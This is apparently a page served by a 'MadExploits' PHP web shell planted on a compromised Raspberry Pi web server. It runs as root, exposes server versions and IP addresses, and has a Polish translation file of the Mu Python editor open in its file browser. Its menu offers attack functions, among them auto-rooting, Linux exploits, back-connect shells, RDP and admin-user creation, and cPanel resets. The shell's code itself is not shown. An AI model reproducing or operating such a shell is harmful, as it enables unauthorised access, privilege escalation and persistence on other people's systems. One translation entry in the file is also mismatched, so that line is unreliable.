Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
mu-editor /
mu /
locale /
pl /
LC_MESSAGES /
[ HOME SHELL ]
Name
Size
Permission
Action
mu.mo
29.98
KB
-rw-r--r--
mu.po
36.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mu.po
# SOME DESCRIPTIVE TITLE. # Copyright (C) PyPolska # Filip Kłębczyk <fklebczyk@gmail.com>, 2018. # msgid "" msgstr "" "Project-Id-Version: \n" "POT-Creation-Date: 2018-09-07 18:34+CEST\n" "PO-Revision-Date: 2018-09-11 18:23+0200\n" "Last-Translator: ABIX Edukacja - Adam Jurkiewicz <biuro@abixedukacja.eu>\n" "Language-Team: polski <pypolska@python.org>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" "Generated-By: pygettext.py 1.5\n" "Language: pl\n" "X-Generator: Poedit 2.0.6\n" #: mu/app.py:66 msgid "Logging to {}" msgstr "Logowanie do {}" #: mu/app.py:183 msgid "Debugger requires a Python script filename to run." msgstr "Debugger wymaga nazwę pliku skryptu Pythona by działać" #: mu/debugger/client.py:106 msgid "Connection timed out. Is your machine slow or busy? Free up some of the machine's resources and try again." msgstr "Połączenie przekroczyło czas. Czy Twoja maszyna jest wolna lub zajęta? Zwolnij trochę zasobów maszyny i spróbuj ponownie." #: mu/debugger/client.py:116 msgid "" "Could not find localhost.\n" "Ensure you have '127.0.0.1 localhost' in your /etc/hosts file." msgstr "" "Nie mogę znaleźć localhosta.\n" "Upewnij się, że masz '127.0.0.1 localhost' w swoim pliku /etc/hosts." #: mu/interface/dialogs.py:55 msgid "Select Mode" msgstr "Wybierz Tryb" #: mu/interface/dialogs.py:57 msgid "Please select the desired mode then click \"OK\". Otherwise, click \"Cancel\"." msgstr "Proszę wybierz pożądany tryb a następnie kliknij \"OK\". W przeciwnym razie kliknij \"Anuluj\"." #: mu/interface/dialogs.py:73 msgid "Change mode at any time by clicking the \"Mode\" button containing Mu's logo." msgstr "Zmień tryb w dowolnym momencie kilkając na przycisk \"Tryb\" zawierający logo Mu." #: mu/interface/dialogs.py:107 msgid "When reporting a bug, copy and paste the content of the following log file." msgstr "Gdy zgłaszasz błąd, kopiuj i wklejaj zawartość następującego pliku logów." #: mu/interface/dialogs.py:127 msgid "" "The environment variables shown below will be set each time you run a Python 3 script.\n" "\n" "Each separate enviroment variable should be on a new line and of the form:\n" "NAME=VALUE" msgstr "" "Zmienne środowiskowe podane poniżej będą ustawiane za każdym razem gdy uruchamiasz skrypt Pythona 3.\n" "\n" "Każda oddzielna zmienna środowiskowa powinna być w nowej linii i w formacie:\n" "NAZWA=WARTOŚĆ" #: mu/interface/dialogs.py:150 msgid "Minify Python code before flashing?" msgstr "Nadpisz wbudowany program MicroPythona następującym plikiem hex (pusty oznacza użycie domyślnego):" #: mu/interface/dialogs.py:153 msgid "Override the built-in MicroPython runtime with the following hex file (empty means use the default):" msgstr "Nadpisz wbudowany program MicroPythona następującym plikiem hex (pusty oznacza użycie domyślnego):" #: mu/interface/dialogs.py:175 mu/interface/main.py:977 msgid "Mu Administration" msgstr "Administracja Mu" #: mu/interface/dialogs.py:186 msgid "Current Log" msgstr "Aktualny Log" #: mu/interface/dialogs.py:189 msgid "Python3 Environment" msgstr "Środowisko Pythona 3" #: mu/interface/dialogs.py:194 msgid "BBC micro:bit Settings" msgstr "Ustawienia BBC micro:bit" #: mu/interface/dialogs.py:223 msgid "Find / Replace" msgstr "Znajdź / Zastąp" #: mu/interface/dialogs.py:227 msgid "Find:" msgstr "Znajdź:" #: mu/interface/dialogs.py:233 msgid "Replace (optional):" msgstr "Zastąp (opcjonalne)" #: mu/interface/dialogs.py:239 msgid "Replace all?" msgstr "Zastąp wszystkie?" #: mu/interface/editor.py:222 mu/logic.py:952 msgid "untitled" msgstr "nienazwany" #: mu/interface/main.py:69 msgid "Mode" msgstr "Tryb" #: mu/interface/main.py:70 msgid "Change Mu's mode of behaviour." msgstr "Zmień tryb działania Mu" #: mu/interface/main.py:72 msgid "New" msgstr "Nowy" #: mu/interface/main.py:73 msgid "Create a new Python script." msgstr "Stwórz nowy skrypt w Pythonie." #: mu/interface/main.py:74 msgid "Load" msgstr "Otwórz" #: mu/interface/main.py:75 msgid "Load a Python script." msgstr "Otwórz skrypt w Pythonie." #: mu/interface/main.py:76 msgid "Save" msgstr "Zapisz" #: mu/interface/main.py:77 msgid "Save the current Python script." msgstr "Zapisz aktualny skrypt w Pythonie." #: mu/interface/main.py:86 msgid "Zoom-in" msgstr "Powiększ" #: mu/interface/main.py:87 msgid "Zoom in (to make the text bigger)." msgstr "Powiększ (by tekst by większy)" #: mu/interface/main.py:88 msgid "Zoom-out" msgstr "Pomniejsz" #: mu/interface/main.py:89 msgid "Zoom out (to make the text smaller)." msgstr "Pomniejsz (by tekst był mniejszy)." #: mu/interface/main.py:90 msgid "Theme" msgstr "Motyw" #: mu/interface/main.py:91 msgid "Toggle theme between day, night or high contrast." msgstr "Przełączaj motyw między dniem, nocą lub wysokim kontrastem" #: mu/interface/main.py:94 msgid "Check" msgstr "Sprawdź" #: mu/interface/main.py:95 msgid "Check your code for mistakes." msgstr "Sprawdź swój kod pod kątem błędów." #: mu/interface/main.py:96 msgid "Help" msgstr "Pomoc" #: mu/interface/main.py:97 msgid "Show help about Mu in a browser." msgstr "Pokaż pomoc na temat Mu w przeglądarce." #: mu/interface/main.py:98 msgid "Quit" msgstr "Zakończ" #: mu/interface/main.py:99 msgid "Quit Mu." msgstr "Wyjdź z Mu" #: mu/interface/main.py:178 msgid "Mu {}" msgstr "Mu {}" #: mu/interface/main.py:354 msgid "Cannot connect to device on port {}" msgstr "Nie można połączyć się z urządzeniem na porcie {}" #: mu/interface/main.py:376 msgid "Filesystem on micro:bit" msgstr "System plików na micro:bitcie" #: mu/interface/main.py:435 msgid "Python3 data tuple" msgstr "krotka z danymi Pythona 3" #: mu/interface/main.py:447 msgid "Python3 (Jupyter)" msgstr "Python 3 (Jupyter)" #: mu/interface/main.py:454 msgid "{} REPL" msgstr "{} REPL" #: mu/interface/main.py:470 msgid "{} Plotter" msgstr "{} Plotter" #: mu/interface/main.py:511 msgid "Running: {}" msgstr "Wykonywanie: {}" #: mu/interface/main.py:534 msgid "Debug Inspector" msgstr "Inspektor debugowania" #: mu/interface/main.py:552 msgid "Name" msgstr "Nazwa" #: mu/interface/main.py:552 msgid "Value" msgstr "Wartość" #: mu/interface/main.py:569 msgid "(A list of {} items.)" msgstr "(Lista {} elementów.)" #: mu/interface/main.py:582 msgid "(A dict of {} items.)" msgstr "(Słownik {} elementów.)" #: mu/interface/main.py:720 msgid "Mu" msgstr "Mu" #: mu/interface/main.py:970 msgid "Mu's current mode of behaviour." msgstr "Aktualny tryb działania Mu." #: mu/interface/panes.py:296 msgid "File already exists; overwrite it?" msgstr "Plik już istnieje; Nadpisać go?" #: mu/interface/panes.py:297 msgid "File already exists" msgstr "Plik już istnieje" #: mu/interface/panes.py:325 msgid "Copying '{}' to micro:bit." msgstr "Kopiowanie '{}' na micro:bita." #: mu/interface/panes.py:334 msgid "'{}' successfully copied to micro:bit." msgstr "'{}' skopiowane z sukcesem na micro:bita." #: mu/interface/panes.py:340 msgid "Delete (cannot be undone)" msgstr "Usuń (nie może zostać cofnięte)" #: mu/interface/panes.py:346 msgid "Deleting '{}' from micro:bit." msgstr "Usuwanie '{}' z micro:bita." #: mu/interface/panes.py:355 msgid "'{}' successfully deleted from micro:bit." msgstr "'{}' usunięto z sukcesem z micro:bita." #: mu/interface/panes.py:385 msgid "Getting '{}' from micro:bit. Copying to '{}'." msgstr "Pobieranie '{}' z micro:bita. Kopiowanie do '{}'." #: mu/interface/panes.py:396 msgid "Successfully copied '{}' from the micro:bit to your computer." msgstr "Skopiowałem z powodzeniem '{}' z micro:bita na Twój komputer." #: mu/interface/panes.py:409 msgid "Open in Mu" msgstr "Otwórz w Mu" #: mu/interface/panes.py:411 msgid "Open" msgstr "Otwórz" #: mu/interface/panes.py:417 msgid "Opening '{}'" msgstr "Otwieranie '{}'" #: mu/interface/panes.py:457 msgid "Files on your micro:bit:" msgstr "Pliki na Twoim micro:bit:" #: mu/interface/panes.py:459 msgid "Files on your computer:" msgstr "Pliki na Twoim komputerze:" #: mu/interface/panes.py:527 msgid "There was a problem getting the list of files on the micro:bit. Please check Mu's logs for technical information. Alternatively, try unplugging/plugging-in your micro:bit and/or restarting Mu." msgstr "Był problem z pobraniem listy plików na micro:bitcie. Proszę sprawdź logi Mu dla informacji technicznych. Alternatywnie, spróbuj odłączyc/podłączyć swojego micro:bita i/lub zrestartować Mu." #: mu/interface/panes.py:538 mu/interface/panes.py:546 msgid "There was a problem deleting '{}' from the micro:bit. Please check Mu's logs for more information." msgstr "Był problem z usunięciem '{}' z micro:bita. Proszę sprawdź logi Mu w celu uzyskania więcej informacji." #: mu/interface/panes.py:554 mu/logic.py:68 msgid "Hello, World!" msgstr "Ahoj, przygodo!" #: mu/logic.py:69 msgid "This editor is free software written in Python. You can modify it, add features or fix bugs if you like." msgstr "Ten edytor jest wolnym oprogramowaniem napisanym w Pythonie. Możesz go modyfikować, dodawać funkcje lub naprawiać błędy jeśli masz ochotę." #: mu/logic.py:71 msgid "This editor is called Mu (you say it 'mew' or 'moo')." msgstr "Edytor nazywa się Mu (możesz to wymawiać \"mu\" lub \"muuu\")." #: mu/logic.py:72 msgid "Google, Facebook, NASA, Pixar, Disney and many more use Python." msgstr "Google, Facebook, NASA, Pixar, Disney i wiele innych używają Pythona." #: mu/logic.py:73 msgid "Programming is a form of magic. Learn to cast the right spells with code and you'll be a wizard." msgstr "Programowanie jest formą magii. Naucz się rzucać właściwe zaklęcia z kodem i będziesz czarodziejką/czarodziejem." #: mu/logic.py:75 msgid "REPL stands for read, evaluate, print, loop. It's a fun way to talk to your computer! :-)" msgstr "REPL to skrót od angielskiego read (czytaj), evaluate (ewaluuj), print (wypisuj), loop (zapętlaj). To zabawny sposób by rozmawiać ze swoim komputerem! :-)" #: mu/logic.py:77 msgid "Be brave, break things, learn and have fun!" msgstr "Bądź odważna/odważny, psuj rzeczy, ucz się i miej zabawę!" #: mu/logic.py:78 msgid "Make your software both useful AND fun. Empower your users." msgstr "Sprawiaj by Twoje oprogramowanie było użyteczne I zabawne. Wzmacniaj swoich użytkowników." #: mu/logic.py:79 msgid "For the Zen of Python: import this" msgstr "Dla Zen of Python: import this" #: mu/logic.py:80 msgid "Diversity promotes creativity." msgstr "Różnorodność wspiera kreatywność." #: mu/logic.py:81 msgid "An open mind, spirit of adventure and respect for diversity are key." msgstr "Otwarty umysł, duch przygody i szacunek dla różnorodności to klucz." #: mu/logic.py:82 msgid "Don't worry if it doesn't work. Learn the lesson, fix it and try again! :-)" msgstr "Nie martw się jeśli to nie zadziała. Wyciągnij z tego naukę, napraw i spróbuj jeszcze raz! :-)" #: mu/logic.py:84 msgid "Coding is collaboration." msgstr "Programowanie to współpraca." #: mu/logic.py:85 msgid "Compliment and amplify the good things with code." msgstr "Komplementuj i wzmacniaj dobre rzeczy w kodzie." #: mu/logic.py:86 msgid "In theory, theory and practice are the same. In practice, they're not. ;-)" msgstr "W teorii, teoria i praktyka to to samo. W praktyce tak nie jest. ;-)" #: mu/logic.py:88 mu/logic.py:89 msgid "It's fun to program." msgstr "Programowanie to zabawa." #: mu/logic.py:90 msgid "Programming has more to do with problem solving than writing code." msgstr "Programowanie ma więcej wspólnego z rozwiązywaniem problemów niż pisaniem kodu" #: mu/logic.py:91 msgid "Start with your users' needs." msgstr "Zacznij od potrzeb Twoich użytkowników." #: mu/logic.py:92 msgid "Try to see things from your users' point of view." msgstr "Spróbuj zobaczyć rzeczy z punktu widzenia Twoich użytkowników." #: mu/logic.py:93 msgid "Put yourself in your users' shoes." msgstr "Wejdź w buty swoich użytkowników." #: mu/logic.py:94 msgid "Explaining a programming problem to a friend often reveals the solution. :-)" msgstr "Wytłumaczenie problemu programistycznego przyjacielowi często odkrywa rozwiązanie. :-)" #: mu/logic.py:96 msgid "If you don't know, ask. Nobody to ask? Just look it up." msgstr "Jeśli nie wiesz, pytaj. Nie ma nikogo by zapytać? Po prostu znajdź" #: mu/logic.py:97 msgid "Complexity is the enemy. KISS - keep it simple, stupid!" msgstr "Złożoność jest wrogiem. Zrób, żeby to było proste, głupcze!" #: mu/logic.py:98 msgid "Beautiful is better than ugly." msgstr "Piękne jest lepsze niż brzydkie." #: mu/logic.py:99 msgid "Explicit is better than implicit." msgstr "Wyrażone wprost jest lepsze niż domniemane." #: mu/logic.py:100 msgid "Simple is better than complex. Complex is better than complicated." msgstr "Proste jest lepsze niż złożone. Złożone jest lepsze niż skomplikowane." #: mu/logic.py:101 msgid "Flat is better than nested." msgstr "Płaskie jest lepsze niż wielopoziomowe." #: mu/logic.py:102 msgid "Sparse is better than dense." msgstr "Rzadkie jest lepsze niż gęste." #: mu/logic.py:103 msgid "Readability counts." msgstr "Czytelność się liczy." #: mu/logic.py:104 msgid "Special cases aren't special enough to break the rules. Although practicality beats purity." msgstr "Sytuacje wyjątkowe nie są na tyle wyjątkowe, aby łamać reguły. Choć praktyczność przeważa nad konsekwencją." #: mu/logic.py:106 msgid "Errors should never pass silently. Unless explicitly silenced." msgstr "Błędy zawsze powinny być sygnalizowane. Chyba że zostaną celowo ukryte." #: mu/logic.py:107 msgid "In the face of ambiguity, refuse the temptation to guess." msgstr "W razie niejasności powstrzymaj pokusę zgadywania." #: mu/logic.py:108 msgid "There should be one-- and preferably only one --obvious way to do it." msgstr "Powinien być jeden -- i najlepiej tylko jeden -- oczywisty sposób na zrobienie danej rzeczy." #: mu/logic.py:109 msgid "Now is better than never. Although never is often better than *right* now." msgstr "Teraz jest lepsze niż nigdy. Chociaż nigdy jest często lepsze niż natychmiast." #: mu/logic.py:111 msgid "If the implementation is hard to explain, it's a bad idea." msgstr "Jeśli rozwiązanie jest trudno wyjaśnić, to jest ono złym pomysłem." #: mu/logic.py:112 msgid "If the implementation is easy to explain, it may be a good idea." msgstr "Jeśli rozwiązanie jest łatwo wyjaśnić, to może ono być dobrym pomysłem." #: mu/logic.py:113 msgid "Namespaces are one honking great idea -- let's do more of those!" msgstr "Przestrzenie nazw to jeden z niesamowicie genialnych pomysłów -- miejmy ich więcej!" #: mu/logic.py:114 msgid "Mu was created by Nicholas H.Tollervey." msgstr "Mu zostało stworzoone przez Nicholasa H.Tollerveya." #: mu/logic.py:115 msgid "To understand what recursion is, you must first understand recursion." msgstr "Aby zrozumieć rekurencję, musisz najpierw zrozumieć rekurencję." #: mu/logic.py:116 msgid "Algorithm: a word used by programmers when they don't want to explain what they did." msgstr "Algorytm: słowo używane przez programistów, gdy nie chcą wyjaśnić, co zrobili." #: mu/logic.py:118 msgid "Programmers count from zero." msgstr "Programiści liczą od zera." #: mu/logic.py:119 msgid "Simplicity is the ultimate sophistication." msgstr "Prostota jest ostatecznym wyrafinowaniem." #: mu/logic.py:120 msgid "A good programmer is humble." msgstr "Dobry programista jest skromny." #: mu/logic.py:121 msgid "A good programmer is playful." msgstr "Dobry programista jest zabawny." #: mu/logic.py:122 msgid "A good programmer learns to learn." msgstr "Dobry programista uczy się uczyć." #: mu/logic.py:123 msgid "A good programmer thinks beyond the obvious." msgstr "Dobry programista myśli ponad to, co oczywiste." #: mu/logic.py:124 msgid "A good programmer promotes simplicity." msgstr "Dobry programista promuje prostotę." #: mu/logic.py:125 msgid "A good programmer avoids complexity." msgstr "Dobry programista unika złożoności." #: mu/logic.py:126 msgid "A good programmer is patient." msgstr "Dobry programista jest cierpliwy." #: mu/logic.py:127 msgid "A good programmer asks questions." msgstr "Dobry programista zadaje pytania." #: mu/logic.py:128 msgid "A good programmer is willing to say, 'I don't know'." msgstr "Dobry programista jest gotów powiedzieć: \"Nie wiem\"." #: mu/logic.py:129 msgid "Wisest are they that know they know nothing." msgstr "Najmądrzejsi są ci, którzy wiedzą, że nic nie wiedzą." #: mu/logic.py:439 msgid " above this line" msgstr "powyżej tej linii" #: mu/logic.py:484 msgid "Syntax error. Python cannot understand this line. Check for missing characters!" msgstr "Błąd składni. Python nie może zrozumieć tej linii. Sprawdź, czy nie ma brakujących znaków!" #: mu/logic.py:669 msgid "# Write your code here :-)" msgstr "# Tutaj pisz swój kod, młody padawanie ;-)" #: mu/logic.py:707 msgid "" "The file contains characters Mu expects to be encoded as {0} or as the computer's default encoding {1}, but which are encoded in some other way.\n" "\n" "If this file was saved in another application, re-save the file via the 'Save as' option and set the encoding to {0}" msgstr "" "Plik zawiera znaki Mu oczekuje, że będzie zakodowany jako {0} lub jako domyślne kodowanie komputera {1}, ale które są zakodowane w inny sposób.\n" "\n" "Jeśli plik ten został zapisany w innej aplikacji, ponownie zapisz plik za pomocą opcji \"Zapisz jako\" i ustaw kodowanie na {0}" #: mu/logic.py:723 msgid "The file \"{}\" is already open." msgstr "Plik \"{}\" jest już otwarty." #: mu/logic.py:735 msgid "Mu cannot read the characters in {}" msgstr "Mu nie może odczytać znaków w {}" #: mu/logic.py:758 msgid "Mu was not able to open this file" msgstr "Mu nie było w stanie otworzyć tego pliku" #: mu/logic.py:759 msgid "Currently Mu only works with Python source files or hex files created with embedded MicroPython code." msgstr "Aktualnie Mu działa tylko z plikami źródłowymi Pythona lub plikami hex stworzonymi z wbudowanym kodem MicroPythona." #: mu/logic.py:765 msgid "Could not load {}" msgstr "Nie mogę otworzyć {}" #: mu/logic.py:767 msgid "" "Does this file exist?\n" "If it does, do you have permission to read it?\n" "\n" "Please check and try again." msgstr "" "Czy plik istnieje?\n" "Jeśli tak, to czy masz uprawnienia, żeby go odczytać?\n" "\n" "Proszę sprawdź i spróbuj ponownie." #: mu/logic.py:773 msgid "Is this a {} file?" msgstr "Czy {} jest plikiem?" #: mu/logic.py:774 msgid "" "It looks like this could be a {} file.\n" "\n" "Would you like to change Mu to the {}mode?" msgstr "" "To wygląda, że może być plikiem {}.\n" "\n" "Czy chciałbyś, żeby Mu zmieniło na tryb {}?" #: mu/logic.py:846 msgid "Could not save file (disk problem)" msgstr "Nie mogę zapisać pliku (problem dysku)" #: mu/logic.py:847 msgid "Error saving file to disk. Ensure you have permission to write the file and sufficient disk space." msgstr "Błąd w zapisywaniu na dysk. Upewnij się, że masz uprawnienia do pliku i wystarczającą ilość miejsca" #: mu/logic.py:851 msgid "Could not save file (encoding problem)" msgstr "Nie można było zapisać pliku (problem kodowania)" #: mu/logic.py:853 msgid "Unable to convert all the characters. If you have an encoding line at the top of the file, remove it and try again." msgstr "Nie można skonwertować wszystkich znaków. Jeśli masz linie z kodowaniem na początku pliku usuń ją i spróbuj ponownie." #: mu/logic.py:862 msgid "Saved file: {}" msgstr "Zapisano plik: {}" #: mu/logic.py:891 mu/logic.py:1229 msgid "You cannot use the filename \"{}\"" msgstr "Nie możesz używasz nazwy pliku \"{}\"" #: mu/logic.py:893 msgid "This name is already used by another part of Python. If you use this name, things are likely to break. Please try again with a different filename." msgstr "Ta nazwa jest już używana przez inną część Pythona. Jeśli użyjesz tej nazwy, najprawdopodobniej coś się popsuje. Spróbuj ponownie z inną nazwą pliku." #: mu/logic.py:968 msgid "Good job! No problems found." msgstr "Dobra robota! Nie znaleziono problemów." #: mu/logic.py:969 msgid "Hurrah! Checker turned up no problems." msgstr "Hurra! Sprawdzanie zakończyło się bez problemów." #: mu/logic.py:970 msgid "Nice one! Zero problems detected." msgstr "Dobrze! Zero problemów wykrytych." #: mu/logic.py:971 msgid "Well done! No problems here." msgstr "Bardzo dobrze! Żadnych problemów tutaj" #: mu/logic.py:972 msgid "Awesome! Zero problems found." msgstr "Wspaniale! Zero znalezionych problemów." #: mu/logic.py:999 msgid "There is un-saved work, exiting the application will cause you to lose it." msgstr "Jest niezapisana praca, wyjście z aplikacji spowoduje jej utratę." #: mu/logic.py:1052 msgid "Could not find MicroPython runtime." msgstr "Nie mogłem znaleźć wersji wykonywalnej MicroPythona" #: mu/logic.py:1053 msgid "The micro:bit runtime you specified ('{}') does not exist. Please try again." msgstr "Wersja wykonywalna micro:bit, którą podałeś ('{}') nie istnieje. Proszę spróbuj ponownie." #: mu/logic.py:1123 msgid "Changed to {} mode." msgstr "Zmieniłem na tryb {}" #: mu/logic.py:1168 msgid "Detected new {} device." msgstr "Wykryto nowe urządzenie {}." #: mu/logic.py:1175 msgid "Would you like to change Mu to the {} mode?" msgstr "Czy chciałbyś przełączyć Mu w tryb {}?" #: mu/logic.py:1210 msgid "Cannot Set Breakpoint." msgstr "Nie mogę ustawić punktu przerwania." #: mu/logic.py:1211 msgid "Lines that are comments or some multi-line statements cannot have breakpoints." msgstr "Linie, które są komentarzami lub wielolinijowymi wyrażeniami nie mogą mieć punktów przerwania." #: mu/logic.py:1231 msgid "This name is already used by another part of Python. If you use that name, things are likely to break. Please try again with a different filename." msgstr "Ta nazwa jest już używana przez inną część Pythona. Jeśli użyjesz tej nazwy, najprawdopodobniej coś się popsuje. Spróbuj ponownie z inną nazwą pliku." #: mu/logic.py:1248 msgid "Could not rename file." msgstr "Nie mogę zmienić nazwy pliku." #: mu/logic.py:1249 msgid "A file of that name is already open in Mu." msgstr "Plik o tej nazwie jest już otwarty w Mu." #: mu/logic.py:1278 msgid "Replaced \"{}\" with \"{}\"." msgstr "Zamieniono \"{}\" na \"{}\"." #: mu/logic.py:1282 msgid "Replaced {} matches of \"{}\" with \"{}\"." msgstr "Zamieniono {} wystąpienia \"{}\" na \"{}\"." #: mu/logic.py:1287 mu/logic.py:1294 msgid "Could not find \"{}\"." msgstr "Nie mogę znaleźć \"{}\"." #: mu/logic.py:1292 msgid "Highlighting matches for \"{}\"." msgstr "Podświetlanie wystąpień \"{}\"." #: mu/logic.py:1297 msgid "You must provide something to find." msgstr "Musisz podać coś do znalezienia." #: mu/logic.py:1298 msgid "Please try again, this time with something in the find box." msgstr "Spróbuj ponownie, tym razem z czymś w polu wyszukiwania." #: mu/modes/adafruit.py:32 msgid "Adafruit CircuitPython" msgstr "Adafruit CircuitPython" #: mu/modes/adafruit.py:33 msgid "Use CircuitPython on Adafruit's line of boards." msgstr "Używaj CircuitPython na linii płytek Adafruit" #: mu/modes/adafruit.py:71 msgid "Serial" msgstr "Szeregowe" #: mu/modes/adafruit.py:72 msgid "Open a serial connection to your device." msgstr "Otwórz połączenie szeregowe do Twojego urządzenia" #: mu/modes/adafruit.py:79 mu/modes/microbit.py:215 mu/modes/python3.py:136 msgid "Plotter" msgstr "Plotter" #: mu/modes/adafruit.py:80 mu/modes/microbit.py:216 msgid "Plot incoming REPL data." msgstr "Rysuj nadchodzące dane REPLa" #: mu/modes/adafruit.py:150 msgid "Could not find an attached Adafruit CircuitPython device." msgstr "Nie mogę znaleźć podłączonych urządzeń Adafruit CircuitPython" #: mu/modes/adafruit.py:152 msgid "" "Python files for Adafruit CircuitPython devices are stored on the device. Therefore, to edit these files you need to have the device plugged in. Until you plug in a device, Mu will use the directory found here:\n" "\n" " {}\n" "\n" "...to store your code." msgstr "" "Pliki pythonowe dla urządzeń Adafruit CircuitPython są przechowywane na urządzeniu. W związku z tym, by edytować te pliki potrzebujesz podłączonego urządzenia. Dopóki go nie podłączysz, Mu będzie używał katalogu znalezionego tutaj:\n" "\n" " {}\n" "\n" "...do przechowywania Twojego kodu." #: mu/modes/base.py:177 msgid "Data Flood Detected!" msgstr "Przepełnienie danymi wykryte!" #: mu/modes/base.py:178 msgid "" "The plotter is flooded with data which will make Mu unresponsive and freeze. As a safeguard, the plotter has been stopped.\n" "\n" "Flooding is when chunks of data of more than 1024 bytes are repeatedly sent to the plotter.\n" "\n" "To fix this, make sure your code prints small tuples of data between calls to 'sleep' for a very short period of time." msgstr "" "Plotter jest przepełniony danymi, które sprawią, że Mu będzie nieresponsywny i się zawiesi. Dla bezpieczeństwa, plotter został zatrzymany\n" "\n" "Przepełnianie występuje gdy porcje danych są większe niż 1024 bajty i powtórnie wysyłane na plotter.\n" "\n" "By naprawić to, upewnij się, że Twój kod wypisuje małe krotki danych pomiędzy wywołaniami 'sleep' na krótki okres czasu." #: mu/modes/base.py:273 mu/modes/base.py:312 msgid "Click on the device's reset button, wait a few seconds and then try again." msgstr "Naciśnij przycisk reset urządzenia, poczekaj kilka sekund i potem spróbuj ponownie." #: mu/modes/base.py:279 mu/modes/base.py:318 msgid "Could not find an attached device." msgstr "Nie mogę znaleźć podłączonego urządzenia." #: mu/modes/base.py:280 msgid "" "Please make sure the device is plugged into this computer.\n" "\n" "It must have a version of MicroPython (or CircuitPython) flashed onto it before the REPL will work.\n" "\n" "Finally, press the device's reset button and wait a few seconds before trying again." msgstr "" "Proszę upewnij się, że urządzenie jest podłączone do tego komputera.\n" "\n" "Musi posiadać wersję MicroPythona (lub CircuitPythona) zflashowaną na nim, zanim REPL będzie działać.\n" "\n" "Na końcu, naciśnij przycisk reset na urządzeniu i poczekaj kilka sekund przed ponowną próbą." #: mu/modes/base.py:319 msgid "" "Please make sure the device is plugged into this computer.\n" "\n" "It must have a version of MicroPython (or CircuitPython) flashed onto it before the Plotter will work.\n" "\n" "Finally, press the device's reset button and wait a few seconds before trying again." msgstr "" "Proszę upewnij się, że urządzenie jest podłączone do tego komputera.\n" "\n" "Musi posiadać wersję MicroPythona (lub CircuitPythona) zflashowaną na nim, zanim Plotter będzie działać.\n" "\n" "Na końcu, naciśnij przycisk reset na urządzeniu i poczekaj kilka sekund przed ponowną próbą." #: mu/modes/debugger.py:35 msgid "Graphical Debugger" msgstr "Graficzny Debugger" #: mu/modes/debugger.py:36 msgid "Debug your Python 3 code." msgstr "Debuguj swój kod Pythona 3." #: mu/modes/debugger.py:50 mu/modes/pygamezero.py:109 mu/modes/python3.py:166 msgid "Stop" msgstr "Zatrzymaj" #: mu/modes/debugger.py:51 msgid "Stop the running code." msgstr "Zatrzymaj wykonywany kod." #: mu/modes/debugger.py:57 msgid "Continue" msgstr "Kontynuuj" #: mu/modes/debugger.py:58 msgid "Continue to run your Python script." msgstr "Kontynuuj wykonywanie swojego skryptu Pythona." #: mu/modes/debugger.py:64 msgid "Step Over" msgstr "Przekrocz" #: mu/modes/debugger.py:65 msgid "Step over a line of code." msgstr "Przekrocz linię kodu." #: mu/modes/debugger.py:71 msgid "Step In" msgstr "Krok do wewnątrz" #: mu/modes/debugger.py:72 msgid "Step into a function." msgstr "Krok do wewnątrz funkcji." #: mu/modes/debugger.py:78 msgid "Step Out" msgstr "Krok na zewnątrz" #: mu/modes/debugger.py:79 msgid "Step out of a function." msgstr "Krok na zewnątrz funkcji." #: mu/modes/debugger.py:156 msgid "Your script has finished running." msgstr "Twój skrypt zakończył wykonywanie." #: mu/modes/debugger.py:224 msgid "" "Unable to connect to the Python debugger.\n" "\n" msgstr "" "Nie jestem w stanie połączyć się z debuggerem Pythona.\n" "\n" #: mu/modes/debugger.py:308 msgid "Debugger info: {}" msgstr "Informacje debuggera: {}" #: mu/modes/debugger.py:314 msgid "Debugger warning: {}" msgstr "Ostrzeżenie debuggera: {}" #: mu/modes/debugger.py:321 msgid "Debugger error: {}" msgstr "Błędy debuggera: {}" #: mu/modes/microbit.py:168 msgid "BBC micro:bit" msgstr "BBC micro:bit" #: mu/modes/microbit.py:169 msgid "Write MicroPython for the BBC micro:bit." msgstr "Pisz w MicroPython dla BBC micro:bita." #: mu/modes/microbit.py:192 msgid "Flash" msgstr "Fleszuj" #: mu/modes/microbit.py:193 msgid "Flash your code onto the micro:bit." msgstr "Fleszuj swój kod na micro:bita." #: mu/modes/microbit.py:199 msgid "Files" msgstr "Pliki" #: mu/modes/microbit.py:200 msgid "Access the file system on the micro:bit." msgstr "Uzyskaj dostęp do systemu plików na micro:bit." #: mu/modes/microbit.py:206 mu/modes/python3.py:127 msgid "REPL" msgstr "REPL" #: mu/modes/microbit.py:207 msgid "Use the REPL to live-code on the micro:bit." msgstr "Używaj REPL do kodowania na żywo na micro:bit." #: mu/modes/microbit.py:257 msgid "Unable to flash \"{}\"" msgstr "Nie mogę fleszować \"{}\"" #: mu/modes/microbit.py:267 msgid "Problem with script" msgstr "Problem ze skryptem" #: mu/modes/microbit.py:268 msgid "{} [{}:{}]" msgstr "{} [{}:{}]" #: mu/modes/microbit.py:278 msgid "Our minifier tried but your script is too long!" msgstr "Nasz minifier (co to jest?) próbował, ale Twój skrypt jest zbyt długi!" #: mu/modes/microbit.py:283 msgid "Your script is too long and the minifier isn't available" msgstr "Twój skrypt jest za długi i pomniejszacz nie jest dostępny" #: mu/modes/microbit.py:288 msgid "Your script is too long!" msgstr "Twój skrypt jest za długi!" #: mu/modes/microbit.py:368 msgid "Flashing \"{}\" onto the micro:bit." msgstr "Fleszowanie \"{}\" na micro:bita." #: mu/modes/microbit.py:370 msgid " Runtime: {}" msgstr " Wykonanie: {}" #: mu/modes/microbit.py:416 msgid "Unsupported BBC micro:bit." msgstr "Niewspierany BBC micro:bit." #: mu/modes/microbit.py:417 msgid "" "Your device is newer than this version of Mu. Please update Mu to the latest version to support this device.\n" "\n" "https://codewith.mu/" msgstr "" "Twoje urządzenie jest 